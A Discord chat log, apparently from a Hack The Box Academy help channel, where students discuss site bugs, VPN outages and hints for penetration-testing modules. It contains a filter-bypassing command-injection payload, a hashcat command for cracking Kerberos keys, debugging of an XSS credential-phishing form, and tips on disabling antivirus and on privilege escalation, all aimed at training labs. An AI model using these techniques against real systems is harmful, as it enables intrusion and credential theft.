¯_(ツ)_/¯

[remote latch]

@west rampart idk who to tell but something got fucked up in the scademy and the ticks next to the sections dont show

academy*

[wind plinth]

Refreshed, logged in and out, likely an update to the site bug

[fathom pendant]

Message support to report the issue ig

[remote latch]

frfr

[fathom pendant]

¯_(ツ)_/¯

[remote latch]

did already

michikat dont answer

[fringe urchin]

They cant be online 24/7

[remote latch]

im pinging the one that are currently here

[fathom pendant]

He might just have discord client open

Also don't ping staff a bunch

[remote latch]

worth a try

[wind plinth]

Well, I mean when it comes to the operation of the Academy, I do not think they would mind being pinged as it is a revenue generator for them 🤷‍♂️

[fathom pendant]

The support chat exists to report issues

[wind plinth]

Multiple avenues to report issues are available, I am not sure why you are pushing back on any of it other than to be contrarion. We are trying to solve an issue.

[fathom pendant]

engineers are already aware of the EU vpn issues so they can also work on other issues ¯_(ツ)_/¯

[wind plinth]

You do not need an engineer to modify the academy interface, it is a web design bug

[fathom pendant]

Discord generally isn't the best way to report issues as it can take an unknown amount of time before it's seen by the intended recipient

[wind plinth]

No harm in trying all avenues

[tough tiger]

I don't think a ping to staff member is needed for a visual bug

[fathom pendant]

As long as it's still recording as completed, it's fine

[wind plinth]

It is producing errors, so yes

It is not recording anything

[fathom pendant]

If it's not recording as completed then it's an issue

[fringe urchin]

Can you submit flags and move to next section?

[wind plinth]

Move yes, but receive errors and no completion

[fringe urchin]

Mark complete and next works fine for me

[wind plinth]

I am about to finish a module, so we shall see

But nothing is marked completed for me yet

[random pulsar]

How should the response to this question be: There is a file named wannamine.pcap in the /home/htb-student/pcaps directory, which contains network traffic related to the Overpass-the-hash technique involving Kerberos encryption type downgrading. Replace XX with the appropriate value in the last content keyword of the rule with sid XXXXXXX within the local.rules file so that an alert is triggered as your answer. Is the answer supposed to be the byte XX?

[fringe urchin]

Cant test with flags since i dont have a spare one lying somewhere

[fathom pendant]

So it's accepting your answers

[wind plinth]

I am not a moron folks lol

[fathom pendant]

We weren't saying you are?

[zealous rune]

is it me or are the exercise spawned machines a bit flaky sometimes

actually i think it's the vpn

it doesn't deal well with long periods being connected

[fathom pendant]

If you're using EU, switch to US

[tough tiger]

There are problems with EU vpn
https://status.hackthebox.com/incidents/f2c5871f-f546-461d-aa82-9d3bc75e752a

[dim wolf]

you replace the XX with the byte

[zealous rune]

ok thx

i had done that

but i think more generally i find that the openvpn connection get's out of synch or has other issues

[wind plinth]

I usually prefer that over spawned machines, but yes I have noticed sometimes it's slow

[zealous rune]

when i say spawned machines i meant spawned targets. I never use the pwnbox web machine

[void kayak]

sharing this here, for whoever is doing the Password Attack module, section Pass the Ticket on linux. One of the question is refering to cracking the keytab file for the svc_**** user from a user we already cracked the keytab. The keytab ticket I'm refering to only has the aes-256-cts-sha1 identity in it and according to the example, you are supposed to use the one with the NTLM instead. However, I was interested in finding if it was possible to crack and it is with: hashcat -m 28900 -a 0 '$krb5db$18$<username>$<domain>$<aes-256-cts-sha1>' <wordlist> This is referenced in: https://www.iana.org/assignments/kerberos-parameters/kerberos-parameters.xhtml to get the encryption type 18 (like it says in the github project the module recommend) and then this page https://hashcat.net/wiki/doku.php?id=example_hashes is a good resource to have anyway. I don't know if people went the same route or they did not bother and skipped this. One thing to note is that ntlm is WAY faster to crack than aes-256-cts-sha1 lol

[fathom pendant]

Because this method is way more complicated when NTLM is like... right there

[void kayak]

for sure! I just wanted to find a way in case it will not be right there in a future case

[random pulsar]

But is this byte the response format?

[weary geode]

For some reason, I finished the "JavaScript Obfuscation" module but it takes me to the details module page and still shows I have some left to finish. Not sure how this happened? I answered all the questions and clicked the "Finish" but on the final page. It's just not showing completed?

[fathom pendant]

Visual bug on the site currently

[dim wolf]

yes, enter the byte as the answer

[fathom pendant]

Also make sure on each page you click "mark complete and next"

[weary geode]

Thanks @fathom pendant I went back through whole module and forgot one question. So finished now. 😆

[west rampart]

@remote latch if you are facing issues, please open a support ticket

[wind plinth]

We are all having issues with Academy currently, progress and visual bugs.

[west rampart]

Please open a ticket then

[tough tiger]

I finished a module, it's only a visual bug, once you click on "Mark complete & Next" it is registered as completed

[wind plinth]

Perfect

[random pulsar]

Okay, thanks for the tip. 🙂

[remote latch]

thats not personal, thats global cuz several people have such glitch meaning its probably everyone

[west rampart]

Ticket is still the way to go

[remote latch]

its just that the side icons for completing stuff and other are gone

thats quite literally the issue

considering its other too, its some sort of bug with the website/css

or the image

[ocean night]

Hmm, I see the issue I think

[remote latch]

what is it(yes im very interested in it)

[ocean night]

There's an issue loading the FontAwesome assets it seems

[remote latch]

^_^

[remote latch]

thats also for the sections in each module

not the dashboard only

[ocean night]

Yeah

[remote latch]

is troll synonym to goblin?

[ocean night]

No, g0blin is just my nickname 🙂

[pastel basalt]

Hi, I just started with academy and when i complete a machine in the academy module it doesn’t appear on htb labs as pwned. Was wondering how you go about it? Wether you just paste the flags there as well or leave it for later to solve one more time?

[fathom pendant]

They are separate platforms

Academy and Labs aren't linked with boxes

If you're referring to the "Getting Started" Nibbles example it will not reflect

You'd have to go pwn the retired machine on the labs site

And the flags will be different

[pastel basalt]

oh okay thats clear now. thank you!

[ocean night]

This should be resolved now @remote latch

[tough tiger]

It is for me

[ocean night]

Great

[pale stirrup]

I am currently working on a module available at "https://academy.hackthebox.com/module/24/section/160" and I am struggling to answer the second question. The hashes generated by 'hasher' and 'md5sum' are very similar, except that hasher's hash is in lowercase and md5sum's hash is in uppercase. I have tried other hashing tools, but I am still getting the same hash values as hasher's/md5sum's. However, I am unable to submit a valid answer.

[fathom pendant]

Did you unzip the file? The hash starts f45 and ends b9d

[pale stirrup]

hmm, that's not what I'm getting

[fathom pendant]

Make sure no extra spaces before or after

But as I said

Did you unzip?

[pale stirrup]

ye, I did unzip but my hash starts '788' and ends as '92a'

[fleet belfry]

I am deciding between silver and gold and they both say " Step-by-step module solutions" What is this and where is this? I have been through several module and have not seen Step-by-step solutions. There are some module where you have to duplicate what you see in the reading and type DONE but not all are like that.

[pale stirrup]

I'm getting 32 chars exactly and there are no extra spaces included

[fringe urchin]

Those arent plans for academy are they?

Lab.htb and academy.htb have different sub plans

This is for academy

[ocean night]

The plans on Academy do include that term as a perk "step by step module solutions".. honestly not sure on how they are provided, or at what point (e.g. do you need to complete the module first)?

[fringe urchin]

Oh shoot my bad then. I never saw it

[fathom pendant]

I literally just did it and it works just fine for me

[fathom pendant]

It's a new feature of the annual subscribers. You need to enable it in settings once you are subscribed

[fathom pendant]

I was gonna test this out soon.tm

[fleet belfry]

This is what I am talking about:

[fathom pendant]

It's literally a brand new feature so it hasn't been around long enough to have any proper feedback

[ocean night]

Ah yeah, I see it now after enabling @fathom pendant

It's precisely that

[fathom pendant]

I've had time to nap so I can have a more cohesive thought process regarding it. Imo if it's just a literal step-by-step guide without first having some minor gateway in place, i.e. failing a question multiple times like the discord help feature, is a detriment

But it is a step between people just asking for videos

@pale stirrup in your linux machine, what is the md5sum of the upload_win.zip

Also the upload_win.txt that exists already on the desktop is NOT gonna give you the right hash

[remote latch]

thank you

@ocean night ur a top G

[ocean night]

Turned out it was an outage with FontAwesome

It resolved minutes after I upgraded our plan

[fathom pendant]

||2EDF25B27B268445694276C20D55449E|| is the md5sum of the zip file (casing doesn't matter, you can check this with Get-FileHash <filepath> -Algorithm md5) @pale stirrup

[fathom pendant]

"Give us more money"

If you wanna dm me about it feel free @pale stirrup but I can confirm that uploading, unzipping and getting the filehash with hasher does work and give the intended answer

[limber river]

what something new on academy ?

[pale stirrup]

The only way to obtain a 'valid' hash is by using the hasher application on the target machine. That's what confused me initially. Attempting to hash the upload_win.txt file with a command such as 'Get-FileHash PATH\upload_win.txt -Algorithm md5' will produce a different output.

[fathom pendant]

Annual sub holders have a "show step-by-step walk through" option

[limber river]

what that's mean they got walkthroughs ?

[fathom pendant]

Basically, yeah

[limber river]

weird

[cloud urchin]

walkthroughs for what though? the skill assessments?

the modules themselves are walkthroughs heh

[fathom pendant]

Everything

[graceful mortar]

[fathom pendant]

Just took a look at the guide for ad enum and attack skill assessment 2, as I'm looking to provide accurate and thorough feedback on it

[cedar yew]

why not working my command?

[fleet belfry]

where is the guide located?

[ocean night]

If you're subscribed to the annual, there is a link for each assessment question.

Not for the exams of course though 😅

e.g.

If you're subbed, you need to enable the option in your settings (https://academy.hackthebox.com/settings)

[upper lagoon]

[dire abyss]

can powerview.ps1 only export csv?

[wanton idol]

Im doing the Attacking Common Applications attacking splunk, i dont understand how the payload they gave us for powershell we have to name it run.ps1 and itll run and give us rev shell but if we name it something else like shell.ps1 it wont run it

[fathom pendant]

because linked names and such

[wanton idol]

so then i have to name it run.ps1 everytime if i want to run it

[cedar yew]

hello guys,

I get this error while installing the dll file

pivot module - RDP and SOCKS Tunneling with SocksOverRDP

[fathom pendant]

Disable real-time protection

[vital seal]

Damn so basically when u purchase a module u haven’t purchased it 100% 😄

[heavy marsh]

Anybody have a workaround for the issue with the XSS Phishing section?

The >!-- does not work

Just shows part of the payload

I posted in erratum but I was wondering if anyone has a workaround for now until it's fixed

I think the instance I have is bugged, but I am not able to get a new ip. Every time I try to refresh the ip it gives the same one.

[cloud urchin]

just modify the code a bit

look the source and look at your payload, i was able to make it look nice

[ocean night]

Was about to say the same, you beat me to it

[heavy marsh]

I used the exact code that the module showed.

Doesn't work

[fathom pendant]

Hence why they said modify it a bit

Find what element you need to change

[cloud urchin]

yeah but the section shows you how you can look at the source and fix it if you want, i don't think it's required to complete the question

[heavy marsh]

Modify what part?

[cloud urchin]

the section teaches you this, you look at the source, the tags, the elements, etc, and then you can modify your payload and tweak it to the page

[heavy marsh]

I checked all that and it matched up with the code that was given in the module.

[cloud urchin]

well there's your problem

the section provides an example, if you want to clean it up you have to know the material and adjust it to match the assessment part

copying the code there isn't going to work

[heavy marsh]

Yeah I just don't know what to change. The page source matches up with what was in the module.

I'm terms of the payload

[ocean night]

Have another look through the Reflected XSS module - while you are indeed using the payload stated in the module, there's a bit more you need to do in order to achieve the end goal

Checking the dev console on the browser might also hint as to what the problem is 🙂

[cloud urchin]

look at the characters that display that you don't want to see, then look at your code or the source code to see where the characters are that are causing it. if it's before the username/password fields then look before that code. if it's after, then look after that code. if you find something you think may be it, you can remove it and test it. you can also add junk characters to get an idea of where things are being inserted.

[heavy marsh]

I got rid of the special characters, but the removal of the url box is not working

[cloud urchin]

I'd recommend reading over the section that goes over this again, you're going to need to look for an ElementID that you can remove

[ebon minnow]

targets been spawning for over 10 mins, is it normal?

[cloud urchin]

I'm also having issues spawning, USW

[heavy marsh]

This is what I'm getting

[ebon minnow]

USE and EU1,EU2 for me too lol

[heavy marsh]

What is the issue?

[crystal kayak]

Targeting is spawning...

jfc, killing my study time with this

[fathom pendant]

make it a script

also minor spoiler :^)

[fathom pendant]

nah i just messed with it

gotta make it into a js

[heavy marsh]

It's a url form

[ocean night]

Lame advice, but have you refreshed the page? While it should trigger with an event to update the UI, I've seen it not do so sometimes

[heavy marsh]

What do you mean by make it a script?

[cloud urchin]

It's definitely the servers

[ebon minnow]

did that a few times, no success 🙂

[fathom pendant]

it means make it into a script element

it's fairly easy

[crystal kayak]

Na a refresh just reset it. Gonna click it again. Maybe third time is the charm

[cloud urchin]

my server came up now

[heavy marsh]

What would that look like? I don't see that anywhere in the section.

[crystal kayak]

and it worked

[fathom pendant]

look at the start where it tries to have you get an alert

just throw that around your payload (and close out the previous html tag before it)

[heavy marsh]

Where is this covered? One of the previous sections?

[dim wolf]

is this the XSS module?

[heavy marsh]

Yeah

[fathom pendant]

for this section

[fathom pendant]

the phishing section

[dim wolf]

yeah, you should probably, y'know.. turn it into a script

[fathom pendant]

XSS --> Cross Site Scripting

it's kinda IN THE NAME

[heavy marsh]

Using the script gave me this

Now my password and username field are gone

[fathom pendant]

well you likely put them in the wrong spot then

[heavy marsh]

This is what I got

[fathom pendant]

it worked fine for me ¯_(ツ)_/¯

[heavy marsh]

That same script?!

[fathom pendant]

sec

also you don't need the index.php but i believe that's a non-issue

[dim wolf]

uh is there an error in that payload

i can't tell

...h3><form action=http://myvmip>/<input...

[fathom pendant]

nah

that's not where it is

the document.write isn't closed

it's missing a closing ')

[dim wolf]

ok i guess it just looks weird

[cloud urchin]

i started with '<h3> and then just put the <script> to remove the element at the end

[fathom pendant]

look before the document.getElementByID, you need to close the document.write() before the ;

[fathom pendant]

you can wrap the whole payload in <script>

[cloud urchin]

idk, i didn't do it that way

[fathom pendant]

i'm just saying that is a way you can do it

[cloud urchin]

i customized the payload off the source code of the page

[fathom pendant]

:) ik because that's literally what I did

[cloud urchin]

oh yeah i'm sure you can

[heavy marsh]

That gave me this

[fathom pendant]

brother

[cloud urchin]

you really need to go over the section again

[heavy marsh]

I have multiple times

[fathom pendant]

</form>; this is where your error is

[cloud urchin]

analyze the source code of the page, customize the payload off the source code

look at the tags, what's being closed, etc

[fathom pendant]

you still didn't close the quote

[heavy marsh]

I don't get why this isn't working, the rest of my payloads were working

[heavy marsh]

Which quote?

[fathom pendant]

you have a quote before '<h3>

[ocean night]

Ok.. love that you want to keep trying to help Marcie, but could you take it to DM if you want to continue please

[fathom pendant]

so you need to close it with one

[ocean night]

Literally walking through a T2 module section here 😅

[fathom pendant]

that's fair

it's also basic troubleshooting and scanning for errors

[heavy marsh]

Oh, got it

[fathom pendant]

I saw an open (' and no closing ')

[heavy marsh]

I must have taken that out in a previous step

[fathom pendant]

takes 5 seconds to scan for it

[heavy marsh]

I was getting a
')
before so I took that out

[fathom pendant]

:P

which is where it broke because it took everything with the first ; onward as still part of the first document function

[heavy marsh]

How did you do it without <script>?

[dim wolf]

it says right there that they used <script>

[fathom pendant]

they put it in a different spot

[cloud urchin]

becuase if you look at the source it doesn't need it, you can just use the existing code and put the script at the end to remove the elementid

there are multiple ways to do it

[heavy marsh]

What would that look like?

[cloud urchin]

i mentioned it earlier, but my payload just started with '<h3> and ended with </form> and then i did the elementid removal with <script> at the end

[fathom pendant]

ohhhh i see what you're saying

[heavy marsh]

What about the document.write(
??

[fathom pendant]

because of where it's injected

[cloud urchin]

right

[cloud urchin]

that's the element removal part at the end

[fathom pendant]

ahhh i just did what you are suggesting, IMO looks a lot nicer

Good insight

[cloud urchin]

now i'm curious what yours looks like lol i thought the end result was the same

[fathom pendant]

dm

[fathom pendant]

it looks similar

like SLIGHT difference

[heavy marsh]

Do you guys mind sending me your payloads in a dm so I can see?

I finally got it but I want to see how you both did it too if you don't mind please

[fathom pendant]

imo i just looked at the page source to see what was being referenced

look at the page source where the payload is

then play around with it

[upper ruin]

Submit the contents of the flag.txt file on the Administrator Desktop on the SQL01 host.
AD Skill Assessment 2.

I can't seem to get interactive shell on the SQL01. I found the password from the file in the previous question, I suppose it's linked the the mssqlsvc account.

I used sqsh, but it doesn't work. I tried PowerUpSQL but it has no connection.
Any ideas?

[valid viper]

The way in which I'm using what I learned in Password Attacks in Attacking Common Services is seriously epic. This is a very smart way to have these modules stack on one another.

[fathom pendant]

wrap the pw in single quotes

[fathom pendant]

oh wait you might need to do more enum

sniff snaff around for it

[ocean night]

FYI, the Academy dept are updating the Introduction to Shell section to add some extra info around special characters following the case the other day 😉

[fathom pendant]

awesome!

[fathom pendant]

the file should also have the user

[ocean night]

There was a very small mention to escape in there, but yeah, definitely needed some more info

[ebon minnow]

is the windows vm in common services supposed to be this slow?

5 mins to show the desktop via rdp

[ocean night]

That doesn't sound right.. what's your latency to the VPN you're connected to looking like?

[fathom pendant]

sounds like potential connection issues

[ebon minnow]

damn

[fathom pendant]

if you ping the target IP what's the avg ping ping -c 5 $IP

[next bronze]

the latency to the EU vpns has been pretty bad the past few weeks

[ocean night]

If ping shows an ok response time but high packet loss, switch out to TCP connection pack instead

[next bronze]

I had to switch to US vpn

[ebon minnow]

switched to US

[next bronze]

yea but that's 350 ping

[ebon minnow]

target is up btw^

[fathom pendant]

https://status.hackthebox.com/incidents/f2c5871f-f546-461d-aa82-9d3bc75e752a

[ebon minnow]

on the academy page

[ebon minnow]

damn daniel

[fathom pendant]

change vpn regions and respawn the target

[ebon minnow]

ok

[fathom pendant]

also use the TCP download

[ocean night]

100% loss seems very off.. there were issues, and AFAIK were resolved, but if the incident is still up on the status page either someone forgot to take it down, or the issues has reoccurred

Have you switched already @ebon minnow ?

[ebon minnow]

yep

[ocean night]

Ok, nevermind then, wanted to have a poke about

Hope you have better luck on the different VPN

[ebon minnow]

yeah its faster, still a slideshow but much better than last time 😄

[drifting rivet]

I'm unsure if this is the right place for the following message but I'm just curious and wondering if subcribing for the hackthebox academy would actually give me access to the labs too

[upper ruin]

Ooo, so I ain't got all the info yet, understood. I thought that one of the accounts I found mssqlsvc might be for it, but sure. I will sniff a bit more.

Ty for the update.

[upper ruin]

?

What do you mean the file has the user..

[fathom pendant]

the password is right; and the question tells you it's in a connection string

[upper ruin]

Ohhh the ...got it

[fathom pendant]

n*:password

(i know it's not given in that exact way)

[upper ruin]

Doesn't matter, I should've been able to see it.

[fathom pendant]

it happens

you were looking for the standard service account

[upper ruin]

Found it.

Ty a lot again.

[fathom pendant]

np

goes to show you; never make assumptions

[upper ruin]

I will probs be back if I don't get further but I will read around.

[upper ruin]

I was a bit desparate.

Now, let's try.

Worked!! We got the mssql shell.

[ocean night]

HTB Labs and HTB Academy are two separate platforms and subscriptions for now

[honest gyro]

im stuck at (server side attacks --> Blind SSRF Exploitation Example) i dont think i understand the (We should be thorough during penetration tests and look for the blind counterparts of different vulnerability classes) part i tried everything that came to my mind and still it didnt work im glag for any help

[ocean night]

Subscription to one does not grant a subscription to the other

[fathom pendant]

would be a nice boon for annual since SSO is almost in full swing

[ocean night]

Was that a question?

[fathom pendant]

just a suggestion :)

at least for Gold Annual

[upper ruin]

Marcie

I need me a tip. See I got the shell, I can do stuff with xp_cmshell.

Problem being that when I try to extract the flag, it says I have no perms.

I suppose there's gotta be a password or something in those DBs.

2 of them are empty as hell, 4th is full of b4lls and the first, I haven't found anything, I will search again.

Now I can try to upload a reverse shell to the C: Of sql 1 and open it from the xp_cmd shell.

Which can give me some sort of access, but I still don't have the rights for the administrator.

[fathom pendant]

spoofing is interesting

or even potatoes

[upper ruin]

Wasn't that man in the middle.

[upper ruin]

I see where this is going.

Juicy potatoes...

[fathom pendant]

SeImpersonate privs

[fathom pendant]

there's a handful of exploits that relate

[upper ruin]

Gonna get to it, then.

🫡

Why is it sometimes that HTB just loves giving teasers for the next module. Skill assessment 1 was proxies. Now privilege escalation.

[olive slate]

Need some help on Predictable Token Reset - Question 1. Are we supposed to iterate thru the milliseconds? I attempted to brute force with increment of 1000 (1s) but couldn't get it

[fathom pendant]

everything you need to do has been covered by the module

[fathom pendant]

it's +/- 1s UTC

[sleek moss]

bruh fr fr im on
Active Directory Enumeration & Attacks

Page 11
Internal Password Spraying - from Linux

Internal Password Spraying - from Linux i made list

kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 user.txt Welcome1
j
and it dont work why

52 usernames i tried [e-mail] and the nagain with mlowe

[next bronze]

wait a bit or reset the lab, kerberos didn't start properly

[ebon minnow]

Module: Attacking Common Services
Section: RDP

Question: Connect via RDP with the Administrator account and submit the flag.txt as you answer.

Issue: I disabled the reg key and have the correct hash, connecting with admin creds using PTH isnt working for some reason

[steel gorge]

@swift grail I don't respond to unsolicited DMs. Can you ask your question here please?

[steel gorge]

On HTTP Attacks skills assessment, can someone confirm for me (perhaps via DM if it's spoilers) that the smuggled request's response is supposed to appear nested within the initial request's response?
Does that mean I'm doing something wrong?

Edit: The response should appear in the second Burp tab.

[upper ruin]

Make sure you spray with usernames.

Not emails.

Also kerbrute sometimes plays a bit.

Try some other tools.

[ebon minnow]

Hey, saw you ask about common services earlier in January. Specifically the last question about RDP section. Do you happen to know any tips?

[upper ruin]

Yeah it bugged out like crazy.

It should work once you disable the stuff.

With the reg add hklm or whatever it was.

[ebon minnow]

Damn

[upper ruin]

I had to reset lab 6 times.

[ebon minnow]

Second time resetting and disabling, I’ll try a couple more times then lol

[upper ruin]

Get into DMs rq

[ebon minnow]

Oh snap lol

[upper haven]

Hi, it's not supposed to be nested, no 😄 But if you can see the smuggled response then you should be able to solve the lab regardless 🙂 If you want me to look into it feel free to DM me with the requests you are sending

[compact jacinth]

Hi, I am doing the YARA & Sigma for SOC Analysts module and I am stuck on "Developing YARA Rules". The question im stuck on:
Perform string analysis on the "DirectX.dll" sample that resides in the "/home/htb-student/Samples/YARASigma" directory of this section's target. Then, study the "apt_apt17_mal_sep17_1.yar" YARA rule that resides in the "/home/htb-student/Rules/yara" directory and replace "X.dll" with the correct DLL name to ensure the rule will identify "DirectX.dll". Enter the correct DLL name as your answer. Answer format: _.dll
I went into the Rule "apt_apt17_mal_sep17_1.yar" and switched it out. But how do I run it after i changed it? I cant find it anywhere, what am I supposed to do after I change it to get the DLL name?

[frank narwhal]

You may have misunderstood the question. The goal is not to replace "X.dll" with "DirectX.dll" (as I understand, this is what you did). What you should is perform string analysis on DirectX.dll and change "X.dll" such that running the rule on DirectX.dll would yield a hit. The section provides examples on how to perform string analysis on binaries. You do not need to run the rule to answer this question, but you can do so to verify you got the correct answer.

As for how to run Yara rules, you can just read the next section of the module, i.e. Hunting Evil with YARA (Windows Edition) Subsection Hunting for Malicious Executables on Disk with YARA

[thick remnant]

I'm the only one who can't do anything on the module because my VPN connection crash after 60 seconde every time ?

[frank narwhal]

Does the VPN connection itself disconnect, or the connection to the target machine? Did you try a different Server and/or TCP instead of UDP?

[onyx vapor]

hello everyone, can someone tell you how to complete the task - https://academy.hackthebox.com/module/80/section/779

if possible, I will write messages in private messages

[zealous rune]

hi

has anyone had issues installing oracle database attacking tool in the section oracle tns in the module footprinting?

Specifically i have issues pip installing pycrypto library

[fringe urchin]

instead of pycripto install pycryptodome

[zealous rune]

thank you

[winged egret]

hello guys, in smtp user enumeration. In the web services enumeration module it doesnt instruct us to add the -D flag while in the attacking web services module it does. What exactly is the difference between querying a full email address and quering a single username... does each case have a specific use ?

[zealous rune]

what are u using to do the user enumeration

and which script/executable are you meaning for the -D flag

[covert vortex]

How long did you wait to perform a full port scan? It's taking too long for me...

[olive slate]

Stuck at decoding the cookie for 'Skills Assessment - Broken Authentication'. Any tips? Try many combination in CyberChef with no luck

[languid fjord]

#welcome

[ornate plover]

I'm stuck at the module of FOOTPRINTING - DNS enumeration, the last question is about the FQDN of the host with the last octet finishing with .203
Can someone help me understand how can i solve this?

[cedar yew]

I turned off all of them for security reasons but it still didn't work.

[snow ridge]

did you figure this one out?

[runic rampart]

yes

[snow ridge]

can I dm?

[runic rampart]

++++++++

[graceful latch]

Hi guys, how much time should i spend to bruteforce password in this module ? https://academy.hackthebox.com/module/147/section/1391 I created wordlist using materials in resources section. And my tools tell me that it would take 9-14 hours

[brittle umbra]

9 to 14 hours is without a doubt way too long. Check the cheat sheet for the right wordlist

[graceful latch]

I used both wordlists (passwords and rules) from "resouses"

[void hemlock]

test

[zealous rune]

odat.py is able to bruteforce user accounts on an oracle db

it seems to use it's own userlist files

can we provide it a user list?

[cedar yew]

How can I install regsvr32.exe bcs this command not working regsvr32.exe SocksOverRDP-Plugin.dll

[fathom pendant]

Your regserver command is missing arguments

[covert vortex]

When performing zone transfers, pay attention to the IPs in the right column

[fringe urchin]

use the mut_password list and || maybe not the smartest choice to attack || || SSH serice ||

[distant island]

can someone help me with this one
module COMMAND INJECTION / Bypassing Other Blacklisted Characters
hint Use the PATH environment variable along with the injection character you identified earlier

[fathom pendant]

Subdomains of subdomains

[fathom pendant]

This answer isn't obtained by simple zone transfer methods

[winged egret]

If a subdomain allows for zone transfer you shouldn't try to bruteforce it anymore as you have all the subdomains associated with it... Also try different wordlists start with a short one and move your way up. Seclists has some good wordlists for subdomain enumeration

[ember portal]

Howdy! Quick question to the nmap pro's here: While using the -D (decoy) funtion, why is nmap still sending packets from the real ip if it can spoof and send packets from other generated ip's? I'm failing to see the purpose for nmap to place our real ip in between the generated ip's (network enumeration module - firewall and ids/ips evasion).

[winged egret]

By placing your real IP among many other fakes, it will lessen your chances of being blocked by an IPS

[ember portal]

Interesting, thanks a lot.

[distant island]

[rustic sage]

use %0a instead of ${LS_COLORS:10:1} as it has blocked

[austere flume]

Hi everone

I am a complete beginner to cyber sec please guide me for OSCP

[rustic sage]

start HTB academy

[austere flume]

How to start ?

I am a complete noob so I would appreciate your guidenc

*guidence

[distant island]

127.0.0.1%0a${PATH:0:1}home
this is what i am using

[rustic sage]

use ls command to list users name

[distant island]

127.0.0.1%0a$ls{PATH:0:1}home
here ?

[rustic sage]

use space filter between %0a and ls
"${IFS}"

[rustic sage]

DM me

[austere flume]

@rustic sage

[distant island]

i tried and still didnt work

[rustic sage]

127.0.0.1%0a${IFS}ls${IFS}${PATH:0:1}home

[distant island]

thanks

[zealous rune]

thanks that makes sense

[rustic sage]

don't solve question so fast
first read and understand the sections
you will get the ansawer

[rustic sage]

msg you accept my request

[distant island]

i will

[rustic quiver]

Is anyone else having or had problems logging into htb?

[zealous rune]

hi in the section for IPMI in module footprinting. I have successfully obtained a hash. I tried the wordlist iin the module resources so far

now i'm looking at the seclists.

[next bronze]

use rockyou

[pseudo kiln]

i am trying to import powersploit on a Win 10 vm, I added a windows defender exception for the directory where I cloned the repo, yet windows defender still blocks the import-module cmdlet. Is there anything I am missing, do I need to add something else to prevent windows defender from interacting with this directory ?

[zealous rune]

thanks xreous

I found a whole bunch of rockyou

I'll try them all

[next bronze]

standard rockyou has 14344392 lines, use that

[winged egret]

Are you an admin, can you disable real time monitoring ?

[pseudo kiln]

yes, I can, but then what is the point of even having the exclusion list ?

[next bronze]

ipmo loads it into the memory, it's not path dependent

[zealous rune]

thanks found it, it's in /usr/share/wordlists

[loud dagger]

hey probably really stupid question, is it worth documenting the same stuff over and over
like if i have multiple flags and i'm doing write ups, is it worth documenting opening powershell from cmd for every flag

[compact jacinth]

So you mean that I should just string and do a analasys on DirectX.dll and I should be able to find the answer? There is a lot of examples in this and Im not sure wich one to use. I have tried all of them But im not really sure what Im looking for and what to "replace"

[pallid oar]

Elo guys, where do I report a bug

[soft needle]

since you know how to open powershell it's not that ness to explain.. but getting the flag and how u got it on a higher level can be super useful

[twin wigeon]

I’m stuck on the intro to white box pentesting - blind exploitation section. I can confirm that my PoC works since I’m able to execute a sleep command and I’m also able to find the file and sequentially execute a sleep command. Has anyone done this?

[tiny brook]

Any Japanese?

[dim wolf]

i mean, i can kinda speak it

do you need help with an academy module?

[tiny brook]

yes i do

[dim wolf]

ask your question and someone may be able to help

but i don't think there are that many who can speak japanese

[tiny brook]

no, i mean i like japan. i need to learn Japanese as well

[dim wolf]

imi wakannai..

[loud dagger]

it's wakaranai

[dim wolf]

i know what i said..

[loud dagger]

alright then

[dim wolf]

why do i feel like i got punched in the gut... 😭

[cedar yew]

Hello guys,

Pivot Module - Skill assestment
Question-6

I extracted the information in the lsass file and found the user and password, but I could not find the next machine. When I scan Nmap, all hosts show up.

[dim wolf]

when is the binary fuzzing module release date

[next bronze]

[next bronze]

what's the nmap command

[cedar yew]

sudo proxychains -q nmap -sn 172.16.6.35/16 --stats-every=15

i tried -f -n -Pn

[next bronze]

-sn disables port scanning, proxychains doesn't do ICMP, so what are you scanning?

also /16 has 65534 hosts, maybe try a smaller subnet first

[cedar yew]

I'm trying to find the IP of the DC machine. I will log in with the information I extracted from the lsass file and complete the module.

[cedar yew]

yea chanhed 1-200

[next bronze]

I know, I'm telling you that -sn disables port scanning, proxychains doesn't do ICMP, so nothing is actually going through

[cedar yew]

understand disable -sn

[tiny brook]

wakaranai?

Hajimemashite!

[tawdry vapor]

anyone in trouble to spawn targets??

[zealous rune]

had troubles yesterday

but since switching to us server all good

[tawdry vapor]

i connect yesterday

but i can't connect now

[neon thorn]

If Anyone can give me a nudge on the skills assessment for the module "NTLM RELAY ATTACKS" please DM me!

[next bronze]

just ask your question

[neon thorn]

I'm pretty stuck on the skills assessment, I believe I've tried everything I could but to no avail. I'm out of ideas atm any nudge?

[next bronze]

how do we give you a nudge if we don't know what you're stuck on? just ask your question

[neon thorn]

I don't know how to reach BACKUP01 can you please help me find a way? edit: by reach I mean compromise

[next bronze]

.... what are you tried, what's not working, etc

[dim wolf]

wow! it was today

[cedar yew]

pivoting module completed -_-

[loud dagger]

i can spawn targets but i can't connect

[toxic apex]

I have trouble getting a connection back from the box, I think it's VPN / HTB internet related because the exploit works when you run the exact same code locally

---

Turns out my firewall just doesn't display the running config and you should check your firewall via refresh on fedora every time.

[cloud urchin]

can you ping the target?

[loud dagger]

nope

i'll try again later

[remote latch]

oh no not again
@ocean night its happening again

that with the icons in the academy

[cloud urchin]

make sure the box didn't die, refresh the page and maybe spawn the target again. after that make sure you're connected to the correct vpn.

[ocean night]

https://tenor.com/bG2K0.gif

Could be FontAwesome had another brief outage

[remote latch]

wait what?

does it work for you?

[ocean night]

Yeah, like the icons in module view?

[remote latch]

i have dementia so i cant complete it

[ocean night]

Not seeing any network errors either

[remote latch]

it happened right after submitting flag

[ocean night]

😦

[remote latch]

idk

[ocean night]

Clear cache? Off and oon again?

[remote latch]

how do i clear cache?

[ocean night]

You give me all your cache

💰

CTRL+F5

[remote latch]

fontawsome is fonthorrible

[ocean night]

Or is it CTRL+SHIFT+R

Do you see any network errors in the dev console? (F12)

[remote latch]

oh it might be my kali

checked from windows, works fine

[remote latch]

sorry for the bother